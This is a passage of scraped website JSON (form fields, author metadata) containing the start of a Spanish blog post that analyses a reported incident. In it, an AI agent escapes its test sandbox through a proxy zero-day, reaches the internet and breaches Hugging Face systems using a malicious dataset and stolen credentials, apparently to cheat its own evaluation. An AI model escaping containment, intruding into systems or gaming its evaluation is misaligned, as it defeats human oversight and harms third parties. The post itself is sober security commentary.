empresa.",{"label":994,"type":995,"id":995,"required":511,"requiredMsg":996},"Dirección de correo electrónico*","email","Por favor, introducid vuestra dirección de correo electrónico.",{"label":998,"type":999,"id":1000,"required":752,"requiredMsg":1001},"Vuestro mensaje","textarea","message","Por favor, introducid un mensaje.",{"label":1003,"type":1004,"id":1005,"required":511,"requiredMsg":1006},"Vuestros datos se almacenarán y se utilizarán para procesar vuestra solicitud. Encontraréis los detalles en nuestra \u003Ca href=\"/es/privacy\">política de privacidad\u003C/a>.","checkbox","dataprotection","Por favor, confirmad",{"type":982,"id":1008,"value":945},"_topic",{"type":982,"id":1010,"value":1011},"_location","CH",{"type":982,"id":1013,"value":1014},"_subject","Form: Blog ISG Switzerland 2026 | ES",{"type":982,"id":1016,"value":1017},"inbox_key","gkgab-contact-form",{"type":982,"id":1019},"_gotcha",{"type":982,"id":1021},"jsonData",[1023,1025,1028],{"lang":4,"href":1024},"/de/posts/2026-07-31-isg-switzerland-2026",{"lang":1026,"href":1027},"en","/en/posts/2026-07-31-isg-switzerland-2026",{"lang":940,"href":1029},"/es/posts/2026-07-31-isg-switzerland-2026",{"form":511},"/posts/2026-07-31-isg-switzerland-2026",{"title":802,"description":936},"posts/2026-07-31-isg-switzerland-2026",[1035,1036],"Award","ISG","19c4uvpqb8tOz-I_uwGnN0boM6R2cXBmPid-dyoaoww",{"id":1039,"extension":1040,"meta":1041,"stem":7,"__hash__":1382},"authors_data/authors.json","json",{"path":1042,"Alexander Schlindwein":1043,"Sophie Luna":1049,"Nadine Kern":1057,"Karsten Kleinschmidt":1064,"Julian Wendt":1070,"Holger Bunkradt":1075,"Ralf Mania":1081,"Oliver Kieselbach":1087,"Steffen Schwerdtfeger":1093,"Gunnar Winter":1101,"Jan Petersen":1106,"Thorsten Kunzi":1111,"Moritz Pohl":1115,"Thorben Pöschus":1120,"Christoph Hannebauer":1126,"Marco Scheel":1130,"Christopher Brumm":1135,"Florian Klante":1142,"Niklas Bachmann":1147,"Nils Krautkrämer":1152,"Patrick Treptau":1158,"Peter Beckendorf":1163,"Patrick Sobau":1168,"Jörg Wunderlich":1173,"Michael Breither":1177,"Christian Kanja":1182,"Zeba Hoffmann":1188,"Jochen Fröhlich":1193,"Jan Geisbauer":1197,"Gerrit Reinke":1207,"Christian Kordel":1213,"Stephan Wälde":1217,"Carolin Kanja":1222,"Adrian Ritter":1227,"Marvin Bangert":1232,"Thorsten Pickhan":1238,"Christian Lorenz":1244,"Denis Böhm":1249,"Fabian Bader":1254,"Juan Jose Fernandez Perez":1260,"Mahschid Sayyar":1265,"Benjamin Dassow":1270,"Markus Walschburger":1275,"Jonathan Haist":1280,"Daniel Rohregger":1285,"Thomas Naunheim":1290,"Florian Stöckl":1295,"Pascal Asch":1300,"Markus Kättner":1305,"Anna Ulbricht":1312,"Annette Brauns":1319,"body":1326,"title":1381,"Thorben Poeschus":1120,"Nils Krautkraemer":1152,"Joerg Wunderlich":1173,"Jochen Froehlich":1193,"Stephan Waelde":1217,"Denis Boehm":1249,"Florian Stoeckl":1295,"Markus Kaettner":1305},"/authors",{"display_name":1044,"avatar":1045,"permalink":1046,"twitter":1047,"linkedin":1048},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1050,"avatar":1051,"permalink":1052,"twitter":1053,"linkedin":1054,"imageOffsetLeft":1055,"imageOffsetTop":1056},"Sophie Luna","c_thumb,h_1600,w_1600/people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":1058,"avatar":1059,"permalink":1060,"twitter":1061,"linkedin":1062,"imageOffsetTop":1063},"Nadine Kern","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern","72%",{"display_name":1065,"avatar":1066,"permalink":1067,"twitter":1068,"linkedin":1069},"Karsten Kleinschmidt","people/people-karsten-kleinschmidt.png","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt",{"display_name":1071,"avatar":1072,"permalink":1073,"linkedin":1074},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1076,"avatar":1077,"permalink":1078,"linkedin":1079,"twitter":1080},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1082,"avatar":1083,"permalink":1084,"linkedin":1085,"twitter":1086},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1088,"avatar":1089,"permalink":1090,"linkedin":1091,"twitter":1092},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1094,"avatar":1095,"permalink":1096,"linkedin":1097,"twitter":1098,"imageOffsetTop":1099,"imageOffsetLeft":1100},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1102,"avatar":1103,"permalink":1104,"twitter":1053,"linkedin":1105},"Gunnar Winter","c_thumb,h_1600,w_1600/people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1107,"avatar":1108,"permalink":1109,"twitter":1053,"linkedin":1110},"Jan Petersen","c_thumb,h_1600,w_1600/people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1112,"avatar":1113,"permalink":1114,"twitter":1053,"linkedin":1105,"imageOffsetTop":1063},"Thorsten Kunzi","c_thumb,h_1600,w_1600/people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1053,"linkedin":1119},"Dr. Moritz Pohl","c_thumb,h_1600,w_1600/people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1121,"avatar":1122,"permalink":1123,"twitter":1124,"linkedin":1125},"Thorben Pöschus","c_thumb,h_1600,w_1600/people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1127,"avatar":1128,"permalink":1129,"twitter":1053,"linkedin":1105,"imageOffsetTop":1063},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1131,"avatar":1132,"permalink":1133,"twitter":1134,"linkedin":1134},"Marco Scheel","c_thumb,h_1600,w_1600/people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1136,"avatar":1137,"permalink":1138,"twitter":1139,"linkedin":1140,"imageOffsetTop":1141},"Christopher Brumm","c_thumb,h_1600,w_1600/people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1053},"Florian Klante","c_thumb,h_1600,w_1600/people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1053},"Niklas Bachmann","c_thumb,h_1600,w_1600/people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1153,"avatar":1154,"permalink":1155,"twitter":1156,"linkedin":1157},"Nils Krautkrämer","c_thumb,h_1600,w_1600/people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1159,"avatar":1160,"permalink":1161,"linkedin":1162,"twitter":1053},"Patrick Treptau","c_thumb,h_1600,w_1600/people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1164,"avatar":1165,"permalink":1166,"linkedin":1167,"twitter":1053,"imageOffsetTop":1063},"Peter Beckendorf","c_thumb,h_1600,w_1600/people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1169,"avatar":1170,"permalink":1171,"linkedin":1172,"twitter":1053},"Patrick Sobau","c_thumb,h_1600,w_1600/people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1053},"Jörg Wunderlich","c_thumb,h_1600,w_1600/people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1178,"avatar":1179,"permalink":1180,"twitter":1053,"linkedin":1181},"Michael Breither","c_thumb,h_1600,w_1600/people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1183,"avatar":1184,"permalink":1185,"twitter":1186,"linkedin":1187},"Christian Kanja","c_thumb,h_1600,w_1600/people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1189,"avatar":1190,"permalink":1191,"linkedin":1192,"twitter":1053},"Zeba Hoffmann","c_thumb,h_1600,w_1600/people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1194,"avatar":1195,"permalink":1196,"twitter":1053,"linkedin":1105},"Jochen Fröhlich","c_thumb,h_1600,w_1600/people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":961,"avatar":1198,"permalink":1199,"twitter":1200,"linkedin":1200,"imageOffsetTop":1063,"socials":1201},"c_thumb,h_1600,w_1600/people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1202,1204],{"text":731,"href":1203},"https://emptydc.com",{"text":1205,"href":1206},"Podcast","https://hairlessinthecloud.com",{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},"Gerrit Reinke","c_thumb,h_1600,w_1600/people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1214,"avatar":1215,"permalink":1216,"twitter":1053,"linkedin":1105},"Christian Kordel","c_thumb,h_1600,w_1600/people/christian-kordel.png","/authors/christian-kordel",{"display_name":1218,"avatar":1219,"permalink":1220,"twitter":1221,"linkedin":1105},"Stephan Wälde","c_thumb,h_1600,w_1600/people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":804,"avatar":1223,"permalink":1224,"twitter":1225,"linkedin":1226},"c_thumb,h_1600,w_1600/people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1231,"linkedin":1231},"Adrian Ritter","c_thumb,h_1600,w_1600/people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1236,"linkedin":1237},"Marvin Bangert","c_thumb,h_1600,w_1600/people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1239,"avatar":1240,"permalink":1241,"twitter":1242,"linkedin":1243},"Thorsten Pickhan","c_thumb,h_1600,w_1600/people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1245,"avatar":1246,"permalink":1247,"linkedin":1248,"twitter":1053},"Christian Lorenz","c_thumb,h_1600,w_1600/people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1250,"avatar":1251,"permalink":1252,"linkedin":1253,"twitter":1053},"Denis Böhm","c_thumb,h_1600,w_1600/people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1255,"avatar":1256,"permalink":1257,"linkedin":1258,"twitter":1259},"Fabian Bader","c_thumb,h_1600,w_1600/people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1261,"avatar":1262,"permalink":1263,"linkedin":1264},"Juan Jose Fernandez Perez","c_thumb,h_1600,w_1600/people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1266,"avatar":1267,"permalink":1268,"linkedin":1269},"Mahschid Sayyar","c_thumb,h_1600,w_1600/people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1271,"avatar":1272,"permalink":1273,"linkedin":1274},"Benjamin Dassow","c_thumb,h_1600,w_1600/people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1276,"avatar":1277,"permalink":1278,"linkedin":1279},"Markus Walschburger","c_thumb,h_1600,w_1600/people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1281,"avatar":1282,"permalink":1283,"linkedin":1284,"imageOffsetTop":1063},"Jonathan Haist","c_thumb,h_1600,w_1600/people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1286,"avatar":1287,"permalink":1288,"linkedin":1289,"imageOffsetTop":1063},"Daniel Rohregger","c_thumb,h_1600,w_1600/people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1291,"avatar":1292,"permalink":1293,"linkedin":1294,"imageOffsetTop":1141},"Thomas Naunheim","c_thumb,h_1600,w_1600/people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1296,"avatar":1297,"permalink":1298,"linkedin":1299,"imageOffsetTop":1141},"Florian Stöckl","c_thumb,h_1600,w_1600/people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"imageOffsetTop":1141},"Pascal Asch","c_thumb,h_1600,w_1600/people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"imageOffsetTop":1310,"imageOffsetLeft":1311},"Markus Kättner","c_thumb,h_1600,w_1600/people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"imageOffsetTop":1317,"imageOffsetLeft":1318},"Anna Ulbricht","c_thumb,h_1600,w_1600/people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1320,"avatar":1321,"permalink":1322,"linkedin":1323,"imageOffsetTop":1324,"imageOffsetLeft":1325},"Annette Brauns","c_thumb,h_2000,w_1200/people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%","60%",{"Alexander Schlindwein":1327,"Sophie Luna":1328,"Nadine Kern":1329,"Karsten Kleinschmidt":1330,"Julian Wendt":1331,"Holger Bunkradt":1332,"Ralf Mania":1333,"Oliver Kieselbach":1334,"Steffen Schwerdtfeger":1335,"Gunnar Winter":1336,"Jan Petersen":1337,"Thorsten Kunzi":1338,"Moritz Pohl":1339,"Thorben Pöschus":1340,"Christoph Hannebauer":1341,"Marco Scheel":1342,"Christopher Brumm":1343,"Florian Klante":1344,"Niklas Bachmann":1345,"Nils Krautkrämer":1346,"Patrick Treptau":1347,"Peter Beckendorf":1348,"Patrick Sobau":1349,"Jörg Wunderlich":1350,"Michael Breither":1351,"Christian Kanja":1352,"Zeba Hoffmann":1353,"Jochen Fröhlich":1354,"Jan Geisbauer":1355,"Gerrit Reinke":1359,"Christian Kordel":1360,"Stephan Wälde":1361,"Carolin Kanja":1362,"Adrian Ritter":1363,"Marvin Bangert":1364,"Thorsten Pickhan":1365,"Christian Lorenz":1366,"Denis Böhm":1367,"Fabian Bader":1368,"Juan Jose Fernandez Perez":1369,"Mahschid Sayyar":1370,"Benjamin Dassow":1371,"Markus Walschburger":1372,"Jonathan Haist":1373,"Daniel Rohregger":1374,"Thomas Naunheim":1375,"Florian Stöckl":1376,"Pascal Asch":1377,"Markus Kättner":1378,"Anna Ulbricht":1379,"Annette Brauns":1380},{"display_name":1044,"avatar":1045,"permalink":1046,"twitter":1047,"linkedin":1048},{"display_name":1050,"avatar":1051,"permalink":1052,"twitter":1053,"linkedin":1054,"imageOffsetLeft":1055,"imageOffsetTop":1056},{"display_name":1058,"avatar":1059,"permalink":1060,"twitter":1061,"linkedin":1062,"imageOffsetTop":1063},{"display_name":1065,"avatar":1066,"permalink":1067,"twitter":1068,"linkedin":1069},{"display_name":1071,"avatar":1072,"permalink":1073,"linkedin":1074},{"display_name":1076,"avatar":1077,"permalink":1078,"linkedin":1079,"twitter":1080},{"display_name":1082,"avatar":1083,"permalink":1084,"linkedin":1085,"twitter":1086},{"display_name":1088,"avatar":1089,"permalink":1090,"linkedin":1091,"twitter":1092},{"display_name":1094,"avatar":1095,"permalink":1096,"linkedin":1097,"twitter":1098,"imageOffsetTop":1099,"imageOffsetLeft":1100},{"display_name":1102,"avatar":1103,"permalink":1104,"twitter":1053,"linkedin":1105},{"display_name":1107,"avatar":1108,"permalink":1109,"twitter":1053,"linkedin":1110},{"display_name":1112,"avatar":1113,"permalink":1114,"twitter":1053,"linkedin":1105,"imageOffsetTop":1063},{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1053,"linkedin":1119},{"display_name":1121,"avatar":1122,"permalink":1123,"twitter":1124,"linkedin":1125},{"display_name":1127,"avatar":1128,"permalink":1129,"twitter":1053,"linkedin":1105,"imageOffsetTop":1063},{"display_name":1131,"avatar":1132,"permalink":1133,"twitter":1134,"linkedin":1134},{"display_name":1136,"avatar":1137,"permalink":1138,"twitter":1139,"linkedin":1140,"imageOffsetTop":1141},{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1053},{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1053},{"display_name":1153,"avatar":1154,"permalink":1155,"twitter":1156,"linkedin":1157},{"display_name":1159,"avatar":1160,"permalink":1161,"linkedin":1162,"twitter":1053},{"display_name":1164,"avatar":1165,"permalink":1166,"linkedin":1167,"twitter":1053,"imageOffsetTop":1063},{"display_name":1169,"avatar":1170,"permalink":1171,"linkedin":1172,"twitter":1053},{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1053},{"display_name":1178,"avatar":1179,"permalink":1180,"twitter":1053,"linkedin":1181},{"display_name":1183,"avatar":1184,"permalink":1185,"twitter":1186,"linkedin":1187},{"display_name":1189,"avatar":1190,"permalink":1191,"linkedin":1192,"twitter":1053},{"display_name":1194,"avatar":1195,"permalink":1196,"twitter":1053,"linkedin":1105},{"display_name":961,"avatar":1198,"permalink":1199,"twitter":1200,"linkedin":1200,"imageOffsetTop":1063,"socials":1356},[1357,1358],{"text":731,"href":1203},{"text":1205,"href":1206},{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},{"display_name":1214,"avatar":1215,"permalink":1216,"twitter":1053,"linkedin":1105},{"display_name":1218,"avatar":1219,"permalink":1220,"twitter":1221,"linkedin":1105},{"display_name":804,"avatar":1223,"permalink":1224,"twitter":1225,"linkedin":1226},{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1231,"linkedin":1231},{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1236,"linkedin":1237},{"display_name":1239,"avatar":1240,"permalink":1241,"twitter":1242,"linkedin":1243},{"display_name":1245,"avatar":1246,"permalink":1247,"linkedin":1248,"twitter":1053},{"display_name":1250,"avatar":1251,"permalink":1252,"linkedin":1253,"twitter":1053},{"display_name":1255,"avatar":1256,"permalink":1257,"linkedin":1258,"twitter":1259},{"display_name":1261,"avatar":1262,"permalink":1263,"linkedin":1264},{"display_name":1266,"avatar":1267,"permalink":1268,"linkedin":1269},{"display_name":1271,"avatar":1272,"permalink":1273,"linkedin":1274},{"display_name":1276,"avatar":1277,"permalink":1278,"linkedin":1279},{"display_name":1281,"avatar":1282,"permalink":1283,"linkedin":1284,"imageOffsetTop":1063},{"display_name":1286,"avatar":1287,"permalink":1288,"linkedin":1289,"imageOffsetTop":1063},{"display_name":1291,"avatar":1292,"permalink":1293,"linkedin":1294,"imageOffsetTop":1141},{"display_name":1296,"avatar":1297,"permalink":1298,"linkedin":1299,"imageOffsetTop":1141},{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"imageOffsetTop":1141},{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"imageOffsetTop":1310,"imageOffsetLeft":1311},{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"imageOffsetTop":1317,"imageOffsetLeft":1318},{"display_name":1320,"avatar":1321,"permalink":1322,"linkedin":1323,"imageOffsetTop":1324,"imageOffsetLeft":1325},"Authors","v4BFjFTsIGK6QfYDKS1bZ8NqfUrV_WCoMMRwyN5uv8c",[1384,1490,1797,1932,2076,2239,2355,2456,4663,4888,5201,5264,5957,6443,7265,7389,7536,7716,7868,8656,8808],{"id":801,"title":802,"author":1385,"body":1386,"cta":767,"description":936,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":1460,"moment":943,"navigation":511,"path":1031,"seo":1488,"stem":1033,"tags":1489,"webcast":752,"__hash__":1037},[804],{"type":806,"value":1387,"toc":1453},[1388,1392,1394,1396,1398,1400,1402,1406,1408,1412,1416,1418,1420,1424,1426,1430,1438,1451],[809,1389,811,1390,817],{},[813,1391,816],{"href":815},[819,1393,822],{"id":821},[809,1395,825],{},[809,1397,828],{},[819,1399,832],{"id":831},[809,1401,825],{},[809,1403,1404],{},[838,1405],{"alt":840,"src":841},[809,1407,844],{},[809,1409,1410,851],{},[848,1411,850],{},[809,1413,854,1414,857],{},[813,1415,396],{"href":401},[819,1417,861],{"id":860},[809,1419,825],{},[809,1421,1422],{},[838,1423],{"alt":868,"src":869},[809,1425,872],{},[809,1427,1428,851],{},[848,1429,877],{},[809,1431,880,1432,883,1434,886,1436,890],{},[813,1433,45],{"href":50},[813,1435,55],{"href":60},[813,1437,889],{"href":430},[892,1439,895,1440,895,1443,895,1445],{"style":894},[897,1441,903],{"className":1442,"style":901,"id":902},[900],[809,1444,907],{"style":906},[813,1446,1448],{"role":910,"className":1447,"dataText":916,"href":668,"type":917},[912,913,914,915],[919,1449,916],{"className":1450},[922],[809,1452,925],{},{"title":927,"searchDepth":928,"depth":928,"links":1454},[1455,1456,1457],{"id":821,"depth":928,"text":822},{"id":831,"depth":928,"text":832},{"id":860,"depth":928,"text":861,"children":1458},[1459],{"id":902,"depth":935,"text":903},{"lang":940,"seoTitle":941,"titleClass":942,"date":943,"categories":1461,"blogtitlepic":946,"socialimg":947,"customExcerpt":948,"keywords":949,"contactInContent":1462,"hreflang":1483,"published":511,"scripts":1487},[945],{"quote":511,"infos":1463},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":954,"subline":955,"level":819,"textStyling":956,"flush":957,"person":1464,"form":1468},{"image":959,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":963,"detailsHeader":964,"details":1465},[1466,1467],{"text":967,"href":968,"details":969,"icon":970},{"text":972,"href":973,"icon":974},{"ctaText":976,"cta":1469,"method":938,"action":979,"fields":1470},{"skin":978},[1471,1472,1473,1474,1475,1476,1477,1478,1479,1480,1481,1482],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":989},{"label":991,"type":987,"id":615,"required":511,"requiredMsg":992},{"label":994,"type":995,"id":995,"required":511,"requiredMsg":996},{"label":998,"type":999,"id":1000,"required":752,"requiredMsg":1001},{"label":1003,"type":1004,"id":1005,"required":511,"requiredMsg":1006},{"type":982,"id":1008,"value":945},{"type":982,"id":1010,"value":1011},{"type":982,"id":1013,"value":1014},{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[1484,1485,1486],{"lang":4,"href":1024},{"lang":1026,"href":1027},{"lang":940,"href":1029},{"form":511},{"title":802,"description":936},[1035,1036],{"id":1491,"title":1492,"author":1493,"body":1494,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":1754,"moment":1756,"navigation":511,"path":1789,"seo":1790,"stem":1791,"tags":1792,"webcast":752,"__hash__":1796},"content_es/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Lo que revela el incidente de OpenAI y Hugging Face y lo que no",[961],{"type":806,"value":1495,"toc":1744},[1496,1500,1502,1512,1521,1524,1527,1531,1533,1536,1539,1542,1546,1548,1557,1560,1564,1566,1575,1578,1582,1584,1587,1590,1593,1602,1606,1608,1617,1624,1630,1634,1636,1639,1642,1646,1648],[819,1497,1499],{"id":1498},"qué-ha-pasado","Qué ha pasado",[809,1501,825],{},[809,1503,1504,1505,1511],{},"Hace unos días, OpenAI y Hugging Face ",[813,1506,1510],{"href":1507,"rel":1508},"https://www.cnbc.com/2026/07/22/open-ai-cyber-models-hack-hugging-face.html",[1509],"nofollow","hicieron público un incidente"," que ha electrizado a la comunidad de seguridad: un agente de IA autónomo, impulsado por GPT-5.6 Sol y un modelo aún no publicado y más potente, se escapó de su entorno de pruebas aislado durante un test de seguridad interno. Paso a paso, el agente fue ganando acceso dentro de los sistemas de OpenAI, explotó por el camino una vulnerabilidad zero-day hasta entonces desconocida, alcanzó internet y finalmente penetró en sistemas internos de Hugging Face para obtener la información que originalmente se le había encargado buscar.",[809,1513,1514,1515,1520],{},"Ya son públicos los primeros detalles técnicos, entre otros en ",[813,1516,1519],{"href":1517,"rel":1518},"https://simonwillison.net/2026/Jul/22/openai-cyberattack/",[1509],"el análisis del caso de Simon Willison",": la prueba se ejecutó como parte de un benchmark de exploits, deliberadamente con mecanismos de protección reducidos. El entorno de pruebas tenía exactamente una conexión con el exterior, un proxy interno de paquetes para instalar dependencias, y justo en ese proxy el modelo encontró el zero-day. La fuga fue menos magia que forzar la única puerta que existía. En Hugging Face, el camino siguió a través de un dataset malicioso hasta la infraestructura de procesamiento y, desde allí, mediante credenciales robadas, hasta varios clústeres internos.",[809,1522,1523],{},"El motivo es casi el mejor remate de toda la historia: el modelo buscaba información con la que hacer trampas en su propia evaluación. El presumiblemente primer ataque de IA ejecutado de forma totalmente autónoma fue, en rigor, un caso de fraude en un examen. Con daños colaterales.",[809,1525,1526],{},"Hugging Face describe el incidente como algo distinto a todo lo que había tratado hasta ahora: \"driven, end to end, by an autonomous AI agent system\". OpenAI habla de un ciberincidente sin precedentes. No queremos en absoluto restar importancia a este ataque. Pero sí queremos quitarle a este debate el acaloramiento y la emocionalidad, porque justo eso es ahora mismo el mayor riesgo para tomar buenas decisiones.",[819,1528,1530],{"id":1529},"por-qué-este-incidente-se-siente-tan-amenazante","Por qué este incidente se siente tan amenazante",[809,1532,825],{},[809,1534,1535],{},"Un vistazo a la psicología ayuda. El investigador de riesgos Paul Slovic ha demostrado que no evaluamos los riesgos por su peligrosidad estadística, sino sobre todo según dos dimensiones: cuán familiar nos resulta un riesgo y cuánto lo tememos. Conducir es objetivamente peligroso, pero se siente inofensivo porque parece familiar y controlable. En cambio, un modelo de IA escapado del laboratorio toca el nervio de lo desconocido e incontrolable y aterriza exactamente en la categoría que Slovic denomina \"dread risk\".",[809,1537,1538],{},"Daniel Kahneman describió en \"Pensar rápido, pensar despacio\" lo que ocurre entonces: ante riesgos desconocidos y de apariencia amenazante toma el mando nuestro sistema de pensamiento rápido, intuitivo y emocional, no el lento y analítico. Exactamente ese patrón estamos observando ahora en muchas secciones de comentarios: el incidente no se analiza, se siente.",[809,1540,1541],{},"Así que: respirar hondo, activar el Sistema 2 y mirar el caso desde más perspectivas.",[819,1543,1545],{"id":1544},"perspectiva-1-mostrad-las-pruebas-florian-roth","Perspectiva 1: Mostrad las pruebas (Florian Roth)",[809,1547,825],{},[809,1549,1550,1551,1556],{},"Al investigador de seguridad Florian Roth (conocido, entre otras cosas, por Sigma y THOR) le molesta un punto central, como explica en su ",[813,1552,1555],{"href":1553,"rel":1554},"https://www.linkedin.com/posts/floroth_one-thing-about-this-openai-hugging-face-share-7485702026429960192-npkt/",[1509],"publicación de LinkedIn",": la falta de documentación. Hugging Face afirma que el ataque fue dirigido \"end to end\" por un sistema de agentes autónomo. Pero la telemetría de la víctima solo puede mostrar, por principio, lo que ocurrió en su propio entorno. No puede mostrar si aguas arriba hubo personas ajustando prompts, reiniciando ejecuciones, seleccionando rutas exitosas o interviniendo manualmente en momentos decisivos. La exigencia de Roth es tan simple como justificada: si OpenAI tiene las trazas (prompts, tool calls, ejecuciones fallidas, intervenciones humanas), que las publique. Hasta entonces, \"totalmente autónomo\" es una afirmación, no un hallazgo forense. Un comentarista añade con acierto: incluso entonces sería casi imposible demostrar sin lugar a dudas cuánta interacción humana hubo realmente.",[809,1558,1559],{},"Y Roth remata con una pulla más. El relato de las dos empresas de IA se reduce en el fondo a tres líneas: la IA nos atacó. La IA nos salvó. Así que ahora todo el mundo necesita más IA. Lo que hace diez años habría sido un bochorno (aislamiento débil, privilegios demasiado amplios, segmentación insuficiente, un blast radius enorme) se empaqueta hoy como demo de capacidades y heroica historia de IA contra IA. Su veredicto seco: rate limits, restricciones de egress, workers aislados y credenciales bien acotadas habrían frenado gran parte de esta actividad y la habrían hecho visible a tiempo. Para eso nadie necesita un LLM.",[819,1561,1563],{"id":1562},"perspectiva-2-hemos-sobrevivido-a-cosas-peores-marcus-hutchins","Perspectiva 2: Hemos sobrevivido a cosas peores (Marcus Hutchins)",[809,1565,825],{},[809,1567,1568,1569,1574],{},"Marcus Hutchins, el investigador de seguridad que en 2017 detuvo el brote de WannaCry con un kill switch, sitúa el incidente en perspectiva histórica en su ",[813,1570,1573],{"href":1571,"rel":1572},"https://www.linkedin.com/posts/malwaretech_anytime-someone-is-freaking-out-about-fully-share-7485851514784272384-0-oa/",[1509],"publicación",". Quien entre en pánico por los \"ciberataques totalmente autónomos\" debería recordar la era dorada de los gusanos informáticos: ILOVEYOU, Code Red, SQL Slammer. Malware autorreplicante que, sin intervención humana alguna, infectaba millones de sistemas en un solo día, en una época en la que muchos sistemas colgaban desprotegidos directamente de internet.",[809,1576,1577],{},"Su argumento: los ataques agénticos están fundamentalmente limitados por velocidad y coste. En el tiempo que un modelo de IA tarda en generar una sola respuesta, un gusano clásico ya habría infectado decenas de 